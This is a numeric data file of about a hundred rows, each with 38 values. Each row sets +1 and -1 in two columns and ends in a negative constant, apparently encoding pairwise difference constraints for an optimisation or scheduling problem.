0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -26.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -23.00
0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -57.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -26.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -4.00
0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -23.00
0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -32.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -26.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -50.00
0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -23.00
0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 -29.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -26.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -23.00
0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 -44.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -26.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -78.00
0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -23.00
0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 -89.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -26.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -91.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -90.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -27.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -90.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -99.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -90.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -48.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -63.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -90.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -20.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -90.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -35.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -90.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -47.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -90.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -36.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -6.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -90.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -87.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -90.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -57.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -4.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -90.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -32.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -50.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -90.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 -29.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -90.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 -44.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -78.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -90.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 -89.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -91.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -27.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -99.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -27.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -48.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -63.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -27.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -20.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -27.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -35.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -27.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -47.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -27.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -36.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
